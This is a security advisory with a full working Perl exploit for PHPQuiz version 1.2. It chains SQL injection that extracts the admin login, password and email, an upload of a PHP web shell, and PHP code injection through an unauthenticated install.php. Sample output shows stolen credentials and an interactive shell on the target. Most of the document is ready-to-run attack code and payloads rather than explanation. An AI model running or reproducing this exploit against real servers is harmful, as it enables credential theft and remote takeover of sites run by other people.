PHPQuiz Multiple Remote Vulnerabilites

Advisory Content :

######################################################

#

# Title: PHPQuiz <= v.1.2 Remote SQL injection/Code Execution Exploit

# Vendor : PHPQuiz

# webiste : http://www.phpquiz.com

# Version : <= v.1.2

# Severity: Critical

# Author: Simo64 / simo64_at_morx_org

# MorX Security Reseach Team

# http://www.morx.org

# http://www.morx.org/phpquiz.txt

#

# Details :

#

# SQL injection

#***************************

#

# univers var in score.php and quiz_id var in home.php are not proprely
verified and can be used to inject query

#

# PoC : http://localhost/phpquiz/front/?what=score&univers=[SQL]

#
http://localhost/phpquiz/front/?quiz=quiz&univers=1&step=1&quiz_id=[SQL]

#

# Arbitary File Upload

#**********************

# vulnerable code in back/upload_img.php and admin/upload_img.php near
lines 74-76

#

# 74 if (($upload) && ($ok_update == "yes")) {

# 75

# 76 if(@copy($image, $path)){

# 77 .....

#

# $upload , $ok_update , $image , $path variables are not sanitized and can
be used to upload files

#

# PoC Exploit :

#

# <form enctype="multipart/form-data" method="post"
action="http://localhost/phpquiz/back/upload_img.php?upload=1&ok_update=
yes&path=./../img_quiz/l3ez.php">

# Download File<br>

# <input name="image" type="file" size="20"><br>

# <input type="submit" name="upload" value="Upload"><form>

#

# phpquiz/img_quiz/ folder is by defaut writable so after uploading a
simple phpshell <?passthru($cmd);?>

#

# we can lanche cmd from :
http://localhost/phpquiz/img_quiz/l3ez.php?cmd=ls

#

# PHP Code Injection

#********************

#

# cfgphpquiz/install.php is accessible without authentification , the
script is used to

# save configuration setting in config.inc.php.

#

# Impact:

# any remote user can post php code to the vulnerable file, view current
configuration which contains sensitive information

# such as admin password (plain text) and login

#

#***********************************************************************
************

#

# simo64@localhost:~$ phpquiz.pl morx.org /phpquiz/ 1

#

# /-----------------------------------------------------------# | PHPQuiz
v.1.2 Remote SQL injection/Code Execution Exploit |

# | Coded by simo64 - simo64_morx.org |

# | www.morx.org |

# |-----------------------------------------------------------|

# | MorX Security Research Team © |

# -----------------------------------------------------------/

#

# Connecting to www.morx.org ... Connected !

#

# [+] Injecting credentials

#

# Sending Data ...

#

# SQL injection Succeded !

#

# User EMail : admin (at) morx (dot) org [email concealed]

# User Login : admin

# User Passwd : password

#

# [+] Exec CMD by uploading a shell Connected !

#

# Uploading shell ... [OK]

#

# Checking if successfully Uploaded .... [OK]

#

# NOW YOU CAN LAUNCH COMMANDS

#

# simo64[at]morx.org :~$ id

# uid=48(apache) gid=48(apache) groups=48(apache),2522(psaserv)

# simo64[at]morx.org :~$ pwd

# /home/morx/public_html/phpquiz/img_quiz

# simo64[at]morx.org :~$ ls

# id_1.gif

# id_2.gif

# id_3.gif

# id_4.gif

# index.php

# zaz.php

# simo64[at]morx.org :~$ exit

#

#!/usr/bin/perl

use IO::Socket ;

use LWP::Simple ;

print q(

/-----------------------------------------------------------| PHPQuiz v.1.2
Remote SQL injection/Code Execution Exploit |

| Coded by simo64 - simo64_morx.org |

| www.morx.org |

|-----------------------------------------------------------|

| MorX Security Research Team © |

-----------------------------------------------------------/

);

sub usage(){

print "nUsage :perl $0 siteurl /path/ useridn";

print "nExemple : perl $0 phpquiz.com /phpquiz/ 1n";

}

if(!@ARGV){

&usage();

exit(0)

}

$host = $ARGV[0];

$path = $ARGV[1];

$uid = $ARGV[2];

$success = null ;

$injected = 0;

$injcheck = $path."cfgphpquiz/config.inc.php?xD=l3fou";

$phpinject =
$path."cfgphpquiz/install.php?submit=Valider&config_alert_email_name=%22
;echo%20@$xD;@system($morx);//MorX%20RulZ%20=)";

$injectuser =
"front/?what=score&univers=-64%20UNION%20SELECT%20null,LOGIN,null,null,n
ull,null,null,null,null,null%20FROM%20user%20WHERE%20ID=$uid/*";

$injectpass =
"front/?what=score&univers=-64%20UNION%20SELECT%20null,PWD,null,null,nul
l,null,null,null,null,null%20FROM%20user%20WHERE%20ID=$uid/*";

$injectmail =
"front/?what=score&univers=-64%20UNION%20SELECT%20null,EMAIL,null,null,n
ull,null,null,null,null,null%20FROM%20user%20WHERE%20ID=$uid/*";

syswrite STDOUT , "Connecting to $host ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort =>
"80",Proto => "tcp",);

die "nnUnable to connect to $host " unless($sock) ;

syswrite STDOUT , "tConnected !nn[+] Injecting credentialsnnSending Data
...";

print $sock "GET $path$injectmail HTTP/1.1n";

print $sock "Host: $hostn";

print $sock "Connection: Closenn";

while($res = <$sock>){

if($res =~ /anim_fleche_droite.gif" border="0"> "(.*?)"</a>/){

$usermail = $1 ;

$success = "ok" ;

}

}

if($success eq "ok") {

syswrite STDOUT , "nnSQL injection Succeded !nn";

sleep 2 ;

syswrite STDOUT , "tUser EMail : $usermailn";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort =>
"80",Proto => "tcp",);

print $sock "GET $path$injectuser HTTP/1.1n";

print $sock "Host: $hostn";

print $sock "Connection: Closenn";

while($res = <$sock>){

if($res =~ /> "(.*?)"/){

$userlogin = $1 ;

}

}

syswrite STDOUT , "tUser Login : $userloginn";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort =>
"80",Proto => "tcp",);

print $sock "GET $path$injectpass HTTP/1.1n";

print $sock "Host: $hostn";

print $sock "Connection: Closenn";

while($res = <$sock>){

if($res =~ /> "(.*?)"/){

$userpass = $1 ;

}

}

syswrite STDOUT , "tUser Passwd : $userpassnn";

} else {print "nnInjecting credentials Exploit Failed !nn";}

sleep 2;

# PART2 Remote Command Execution by uploaing shell

syswrite STDOUT , "n[+] Exec CMD by uploading a shell";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort =>
"80",Proto => "tcp",);

die "nnUnable to connect to $host " unless($sock) ;

syswrite STDOUT , "tConnected !nn";

syswrite STDOUT , "Uploading shell ...";

$data='-----------------------------7d61592213049c

Content-Disposition: form-data; name="dir"

/

-----------------------------7d61592213049c

Content-Disposition: form-data; name="image"; filename="zaz.php"

Content-Type: text/plain

<?php

if (get_magic_quotes_gpc()){$_GET['cmd']=stripslashes($_GET['cmd']);}

passthru($_GET['cmd']);

?>

-----------------------------7d61592213049c

Content-Disposition: form-data; name="submit"

Upload

-----------------------------7d61592213049c--

';

$script =
$path."/back/upload_img.php?upload=1&ok_update=yes&path=./../img_quiz/za
z.php";

$len = length $data ;

print $sock "POST $script HTTP/1.0rn";

print $sock "Content-Type: multipart/form-data;
boundary=---------------------------7d61592213049crn";

print $sock "Host: $hostrn";

print $sock "Content-Length: $lenrn";

print $sock "Connection: closernrn";

print $sock $data;

syswrite STDOUT , "t[OK]nnChecking if successfully Uploaded .... ";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort =>
"80",Proto => "tcp",);

print $sock "HEAD $path"."img_quiz/zaz.php HTTP/1.0rn";

print $sock "Host: $hostrn";

print $sock "Connection: closenn";

while($rep = <$sock>){

if($rep =~ /HTTP/1.1 200 OK/) { $success = 1; }

}

if($success == 1){

print "t[OK]nnttNOW YOU CAN LAUNCH COMMANDSnn";

while(){

print "simo64[at]morx.org :~$ ";

chop($cmd=<STDIN>);

exit() if ($cmd eq 'exit');

$result = get("http://$host".$path."img_quiz/zaz.php?cmd=$cmd");

print $result;

}

}

else { print "tFailed !nnFile Upload Failednn" }

# STEP 3 Injecting PHPcode into config.inc.php file

print "n[+] Injecting PHP Code......nnConnecting ....";

my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "80",Proto
=> "tcp",);

die "Connot Connect to $host !" unless($sock);

print "tConnected !nnSending Data ....t";

print $sock "GET $phpinject HTTP/1.1n";

print $sock "Host: $hostn";

print $sock "Content-Type: application/x-www-form-urlencodedn";

print $sock "User-Agent: MorX-Zillan";

print $sock "Connection: Closenn";

print "t OKnnChecking if code injected ...";

my $sock = new IO::Socket::INET (PeerAddr => "$host",PeerPort => "80",Proto
=> "tcp",);

print $sock "GET $injcheck HTTP/1.1n";

print $sock "Host: $hostn";

print $sock "Content-Type: application/x-www-form-urlencodedn";

print $sock "User-Agent: MorX-Zillan";

print $sock "Connection: Closenn";

while($check = <$sock>){

if($check =~ /l3fou/) { $injected = 1; }

}

if($injected == 1 ){

print "tSucceded !nntNOW YOU ARE IN !nn";

while(){

print "simo@morx.org :~$ ";

$cmd = <STDIN>;

chop($cmd);

exit(0) if($cmd eq "exit");

$result =
get("http://".$host.$path."cfgphpquiz/config.inc.php?morx=$cmd");

print $result;

}

}

else {print "tFailednnPHPCode Injection Failed !nn";}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

PHPQuiz Multiple Remote Vulnerabilites